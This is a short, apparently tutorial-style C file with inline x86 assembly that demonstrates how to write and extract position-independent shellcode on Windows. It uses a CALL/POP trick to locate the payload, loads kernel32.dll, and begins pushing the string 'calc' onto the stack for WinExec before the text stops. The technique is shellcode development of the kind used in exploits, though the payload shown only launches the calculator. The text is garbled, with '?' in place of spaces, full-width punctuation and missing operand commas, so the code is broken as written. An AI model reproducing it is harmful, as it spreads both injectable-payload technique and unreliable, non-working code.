#include?“windows.h“
#include?“stdio.h“?
#if?1
void?test（）
{
	printf（“aa“）;
}
int?main（）

{
	unsigned?char?*p=NULL;
	int?i=0;

????LoadLibraryA（“kernel32.dll“）;//4c801d7b?
?????//WinExec（“calc.exe“SW_SHOW）;
	

	int?ShellCodeSize=0;
	char?*?ShellCodeAddr;

?????__asm

?????{
		?PUSHAD;
		?JMP?L1;
L2:
		?POP?ESI;
		?MOV?ShellCodeAddrESI;
		?LEA?ECXShellCodeEnd;
		?LEA?EDXShellCodeBegin;
		?SUB?ECXEDX;
		?MOV?ShellCodeSizeECX;
		?POPAD;
		?JMP?ShellCodeEnd;
L1:?CALL?L2;

//ShellCode?代碼
ShellCodeBegin:
?????????push????ebp;
?????????mov????????ebpesp;
?????????xor?eaxeax;
?????????push?eax;
?????????sub?esp08h;
?????????mov?byte?ptr?[ebp-0Ch]63h;?//c
?????????mov?byte?ptr?[ebp-0Bh]61h;?//a
?????????mov?byte?ptr?[ebp-0Ah]6Ch;?//l
???????